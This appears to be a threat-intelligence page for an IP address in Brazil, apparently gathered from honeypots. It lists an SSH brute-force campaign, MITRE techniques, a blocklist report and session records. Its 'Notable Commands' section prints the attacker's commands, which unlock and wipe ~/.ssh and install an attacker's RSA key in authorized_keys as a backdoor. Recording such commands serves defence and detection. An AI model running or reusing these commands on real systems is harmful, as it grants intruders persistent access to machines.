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138.255.230.4

TAGGED SUSPICIOUS how we decide →

Threat Confidence

60%

Location

🇧🇷 BR / São Benedito

ASN

AS263995 · LINK BRASIL LTDA

Cloud Provider

—

Total Events

520

Top 10% by volume

Agent Count

First / Last Seen

2026-06-18 09:45 — 2026-06-18 20:11

Attack Types

ssh:bruteforce

MITRE ATT&CK Techniques

Reconnaissance

T1595.002

Initial Access

T1078

Defense Evasion

T1070.004

Credential Access

T1110 T1110.001

Command and Control

T1105

External Corroboration

Blocklist.de

Reported 2026-06-18 20:02

blocklist_de:reported

Campaigns

HASSH f555226df196… — SSH-2.0-libssh_0.9.6 (757 IPs, 85 countries) HASSH Active high 🇺🇸 US

757 IPs 418612 events

ssh:bruteforce

2026-02-25 — ongoing · 757 IPs are running an identical SSH client (HASSH fingerprint f555226df196…). Top network: Microsoft Corporation (AS8075). Geographic and …

Session Forensics

malware_dropper ×2 credential_probe ×27 opportunistic_bruter ×3

Sessions

33 (6 with login)

Avg Depth Score

0.3

Commands Executed

Files Downloaded

Notable Commands

cd ~; chattr -ia .ssh; lockr -ia .ssh
lockr -ia .ssh
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Fingerprints

HASSH

f555226df1963d1d3c09daf865abdc9a

SSH Client

SSH-2.0-libssh_0.9.6

Evidence Timeline

Malware Dropper f8d6e0d1d588 w4m_seattle_01 · 2026-06-18 20:01

3 1 1 100%

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Opportunistic Bruter f5aa83534ce6 w4m_seattle_01 · 2026-06-18 19:59

1 50%

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Credential Probe 8cfff9e4c67f w4m_seattle_01 · 2026-06-18 19:58

1 20%

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Malware Dropper 1b96355f83cf w4m_seattle_01 · 2026-06-18 19:56

3 1 1 100%

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Credential Probe 27c1619942a9 w4m_seattle_01 · 2026-06-18 19:54

1 20%

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Credential Probe 8054c00ee516 w4m_seattle_01 · 2026-06-18 19:50

1 20%

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Credential Probe 72cdde2b0ff2 w4m_seattle_01 · 2026-06-18 19:46

1 20%

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Credential Probe 63ab7fa1c887 w4m_seattle_01 · 2026-06-18 19:40

1 20%

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Malware Dropper 26ce0080c720 w4m_seattle_01 · 2026-06-18 19:35

3 1 1 100%

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Credential Probe 07242bce5dd3 w4m_seattle_01 · 2026-06-18 19:27

1 20%

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Opportunistic Bruter 15a8bc646ef7 w4m_seattle_01 · 2026-06-18 19:21

1 50%

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Opportunistic Bruter e37110302341 w4m_seattle_01 · 2026-06-18 19:15

1 50%

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Credential Probe 6c84eac8b88f w4m_seattle_01 · 2026-06-18 19:13

1 20%

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Credential Probe a32f60203a64 w4m_seattle_01 · 2026-06-18 10:27

1 20%

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Credential Probe 21572db87828 w4m_seattle_01 · 2026-06-18 10:25

1 20%

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Credential Probe edb4fb9c2ffb w4m_seattle_01 · 2026-06-18 10:23

1 20%

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Credential Probe a6fc0a80ad61 w4m_seattle_01 · 2026-06-18 10:21

1 20%

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Credential Probe 737f17c2ed6c w4m_seattle_01 · 2026-06-18 10:20

1 20%

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Credential Probe fbbc19ea7334 w4m_seattle_01 · 2026-06-18 10:18

1 20%

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Credential Probe 391a36fc2975 w4m_seattle_01 · 2026-06-18 10:16

1 20%

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Credential Probe b2732f70b013 w4m_seattle_01 · 2026-06-18 10:14

1 20%

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Credential Probe 8135d27462bc w4m_seattle_01 · 2026-06-18 10:12

1 20%

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Credential Probe 6ec92d81bed2 w4m_seattle_01 · 2026-06-18 10:11

1 20%

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Credential Probe 2353f42e1a36 w4m_seattle_01 · 2026-06-18 10:09

1 20%

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Credential Probe 5821dbe36d96 w4m_seattle_01 · 2026-06-18 10:07

1 20%

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Credential Probe e6df5acc13cd w4m_seattle_01 · 2026-06-18 10:05

1 20%

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Credential Probe 7d56f244757e w4m_seattle_01 · 2026-06-18 10:03

1 20%

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Credential Probe 17b98564a567 w4m_seattle_01 · 2026-06-18 10:01

1 20%

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Credential Probe 4e8a33d4361a w4m_seattle_01 · 2026-06-18 09:59

1 20%

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Credential Probe c40a2141eaa3 w4m_seattle_01 · 2026-06-18 09:57

1 20%

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Credential Probe 1132b1082edc w4m_seattle_01 · 2026-06-18 09:55

1 20%

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Credential Probe 4a9a3468e0ff w4m_seattle_01 · 2026-06-18 09:54

1 20%

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Credential Probe f1d373538f37 w4m_seattle_01 · 2026-06-18 09:45

1 20%

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